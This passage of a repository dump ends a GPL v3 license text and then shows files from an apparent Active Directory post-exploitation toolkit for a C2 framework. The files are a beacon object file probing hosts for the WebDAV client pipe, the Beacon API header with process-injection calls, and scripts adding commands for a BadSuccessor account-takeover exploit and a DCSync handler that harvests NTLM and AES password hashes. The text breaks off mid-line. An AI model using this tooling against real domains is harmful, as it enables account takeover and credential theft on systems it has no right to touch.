are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "AD-BOF/WebDAVClient/StatusWebDAVClient.c",
    "content": "#include <windows.h>\n#include <stdio.h>\n#include \"beacon.h\"\n\nWINBASEAPI BOOL WINAPI KERNEL32$WaitNamedPipeA(LPCSTR lpNamedPipeName, DWORD nTimeOut);\nWINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T);\nWINBASEAPI SIZE_T WINAPI MSVCRT$strlen(const char* str);\nWINBASEAPI void* WINAPI MSVCRT$strcpy(const char* dest, const char* source);\nWINBASEAPI void* WINAPI MSVCRT$strcat(const char* dest, const char* source);\nWINBASEAPI void* WINAPI MSVCRT$strtok(char* str, const char* delim);\nWINBASEAPI void* WINAPI MSVCRT$free(void*);\n\nvoid go(char* args, int length)\n{\n    datap parser;\n    BeaconDataParse(&parser, args, length);\n\n    char* hosts = (char*)BeaconDataExtract(&parser, NULL);\n\n    char* pipeNameHead = \"\\\\\\\\\";\n    char* pipeNameTail = \"\\\\pipe\\\\DAV RPC SERVICE\";\n    BOOL pipeStatus = 0;\n    char* singleHost = MSVCRT$strtok(hosts, \",\");\n\n    while (singleHost != NULL)\n    {\n        char* fullPipeName = MSVCRT$malloc(MSVCRT$strlen(singleHost) + MSVCRT$strlen(pipeNameHead) + MSVCRT$strlen(pipeNameTail) + 1);\n        MSVCRT$strcpy(fullPipeName, pipeNameHead);\n        MSVCRT$strcat(fullPipeName, singleHost);\n        MSVCRT$strcat(fullPipeName, pipeNameTail);\n        pipeStatus = KERNEL32$WaitNamedPipeA(fullPipeName, 3000);\n        if (pipeStatus == 0)\n            BeaconPrintf(CALLBACK_OUTPUT, \"[x] Unable to hit DAV pipe on %s, system is either unreachable or does not have WebClient service running\", singleHost);\n        else\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] WebClient service is active on %s\", singleHost);\n        MSVCRT$free((void*)fullPipeName);\n        singleHost = MSVCRT$strtok(NULL, \",\");\n    }\n}"
  },
  {
    "path": "AD-BOF/WebDAVClient/beacon.h",
    "content": "/*\n * Beacon Object Files (BOF)\n * -------------------------\n * A Beacon Object File is a light-weight post exploitation tool that runs\n * with Beacon's inline-execute command.\n *\n * Additional BOF resources are available here:\n *   - https://github.com/Cobalt-Strike/bof_template\n *\n * Cobalt Strike 4.x\n * ChangeLog:\n *    1/25/2022: updated for 4.5\n */\n\n/* data API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} datap;\n\nDECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);\nDECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);\nDECLSPEC_IMPORT int     BeaconDataInt(datap * parser);\nDECLSPEC_IMPORT short   BeaconDataShort(datap * parser);\nDECLSPEC_IMPORT int     BeaconDataLength(datap * parser);\nDECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);\n\n/* format API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} formatp;\n\nDECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);\nDECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);\nDECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);\nDECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);\nDECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);\n\n/* Output Functions */\n#define CALLBACK_OUTPUT      0x0\n#define CALLBACK_OUTPUT_OEM  0x1e\n#define CALLBACK_OUTPUT_UTF8 0x20\n#define CALLBACK_ERROR       0x0d\n\nDECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);\nDECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);\n\n\n/* Token Functions */\nDECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);\nDECLSPEC_IMPORT void   BeaconRevertToken();\nDECLSPEC_IMPORT BOOL   BeaconIsAdmin();\n\n/* Spawn+Inject Functions */\nDECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);\nDECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);\nDECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);\n\n/* Utility Functions */\nDECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);"
  },
  {
    "path": "AD-BOF/ad-services.axs",
    "content": "var metadata = {\n    name: \"\",\n    description: \"\",\n    nosave: true\n};\n\nvar path = ax.script_dir();\nax.script_load(path + \"ADCS-BOF/ADCS.axs\")\nax.script_load(path + \"Kerbeus-BOF/kerbeus.axs\")\nax.script_load(path + \"SQL-BOF/SQL.axs\")\nax.script_load(path + \"LDAP-BOF/LDAP.axs\")\nax.script_load(path + \"RelayInformer/RelayInformer.axs\")"
  },
  {
    "path": "AD-BOF/ad.axs",
    "content": "var metadata = {\n    name: \"AD-BOF\",\n    description: \"Active Directory Exploitation BOFs\"\n};\n\n\n\nvar cmd_adwssearch = ax.create_command(\"adwssearch\", \"Executes ADWS query\", \"adwssearch (objectClass=*) -attributes *,ntsecuritydescriptor --dc DC1\");\ncmd_adwssearch.addArgString(\"query\", true);\ncmd_adwssearch.addArgFlagString( \"-a\", \"attributes\", \"Comma-separated attributes to retrieve (default: all attributes)\", \"\");\ncmd_adwssearch.addArgFlagString( \"--dc\", \"dc\", \"Target domain controller (e.g., 'dc01.domain.local'). If omitted, auto-discovers DC.\", \"\");\ncmd_adwssearch.addArgFlagString( \"--dn\", \"dn\", \"Custom base DN (e.g., 'DC=domain,DC=local'). If not specified, auto-derives from user context or target.\", \"\");\ncmd_adwssearch.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let query      = parsed_json[\"query\"];\n    let attributes = parsed_json[\"attributes\"];\n    let dc         = parsed_json[\"dc\"];\n    let dn         = parsed_json[\"dn\"];\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,cstr,cstr\", [query, attributes, dc, dn]);\n    let bof_path = ax.script_dir() + \"_bin/adws_search.\" + ax.arch(id) + \".o\";\n    let message = \"BOF implementation: adws search\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\n\n\nvar cmd_badtakeover = ax.create_command(\"badtakeover\", \"BOF for performing account takeover using the BadSuccessor technique\", \"badtakeover \\\"OU=TestOU,DC=domain,DC=dom\\\" attacker_dmsa S-1-5-21-....-1104 \\\"CN=domainadmin,CN=Users,DC=domain,DC=dom\\\" domain.dom\");\ncmd_badtakeover.addArgString(\"ou\",      true, \"Target OU to write the malicious dMSA\");\ncmd_badtakeover.addArgString(\"account\", true, \"The name of the new dMSA to create\");\ncmd_badtakeover.addArgString(\"sid\",     true, \"The Security ID (SID) of your current context\");\ncmd_badtakeover.addArgString(\"dn\",      true, \"The target user objects DN\");\ncmd_badtakeover.addArgString(\"domain\",  true, \"The current domain\");\ncmd_badtakeover.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let ou      = parsed_json[\"ou\"];\n    let account = parsed_json[\"account\"];\n    let sid     = parsed_json[\"sid\"];\n    let dn      = parsed_json[\"dn\"];\n    let domain  = parsed_json[\"domain\"];\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,cstr,cstr,cstr\", [ou, account, sid, dn, domain]);\n    let bof_path = ax.script_dir() + \"_bin/badtakeover.\" + ax.arch(id) + \".o\";\n    let message = \"Exploiting BadSuccessor...\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\n\n\nlet dcsync_handler = function (task) {\n    const lines = task.text.split(/\\r?\\n/);\n    const results = [];\n    let dc = \"\";\n    let currentName = null;\n    let currentObjectType = null;\n\n    const reDC = /^\\[\\*\\]\\s+Discovered DC:\\s+(.+)$/;\n    const reObject = /^\\[\\*\\]\\s+(User|Computer|Trust account|Object):\\s+(.+)$/;\n    const reNT = /^nt:\\s*([0-9a-f]{32})$/;\n    const reAES256 = /^aes256:\\s*([0-9a-f]{64})$/;\n    const reAES128 = /^aes128:\\s*([0-9a-f]{32})$/;\n\n    function parseName(rawName) {\n        const idx = rawName.indexOf(\"\\\\\");\n        if (idx === -1) return { name: rawName, realm: null };\n        return {\n            name: rawName.slice(idx + 1),\n            realm: rawName.slice(0, idx)\n        };\n    }\n\n    function pushHash(hashType, hashValue) {\n        if (!currentName || !hashValue) return;\n\n        const nameParts = parseName(currentName);\n        const tag = currentObjectType === \"Computer\" ? \"computer\" : \"\";\n\n        results.push({\n            username: nameParts.name,\n            type: hashType,\n            password: hashValue,\n            storage: \"dcsync\",\n            tag: tag,\n            realm: nameParts.realm,\n            host: dc\n        });\n    }\n\n    for (const line of lines) {\n        if (results.length > 1000) {\n            ax.credentials_add_list(results);\n            results.length = 0;\n        }\n\n        const trimmed = line.trim();\n        if (!trimmed) continue;\n\n        let m = reDC.exec(trimmed);\n        if (m && !dc) { dc = m[1]; continue; }\n\n        m = reObject.exec(trimmed);\n        if (m) {\n            currentObjectType = m[1];\n            currentName = m[2];\n            continue;\n        }\n\n        if (!currentName) continue;\n\n        m = reNT.exec(trimmed);\n        if (m) { pushHash(\"ntlm\", m[1]); continue; }\n\n        m = reAES256.exec(trimmed);\n        if (m) { pushHash(\"aes256\", m[1]); continue; }\n\n        m = reAES128.exec(trimmed);\n        if (m) pushHash(\"aes128\", m[1]);\n    }\n\n    if (results.length) ax.credentials_add_list(results);\n};\n\nvar _cmd_dcsync_single = ax.create_command( \"single\", \"Perform a DCSync operation on a single user\", \"dcsync single jane.doe -dc dc01.corp.local --ldaps\" );\n_cmd_dcsync_single.addArgString(\"target\", true, \"Target username or distinguished name\");\n_cmd_dcsync_single.addArgFlagString(\"-ou\", \"ou_path\", false, \"OU path to search (optional)\");\n_cmd_dcsync_single.addArgFlagString(\"-dc\", \"dc_address\", false, \"Domain Controller 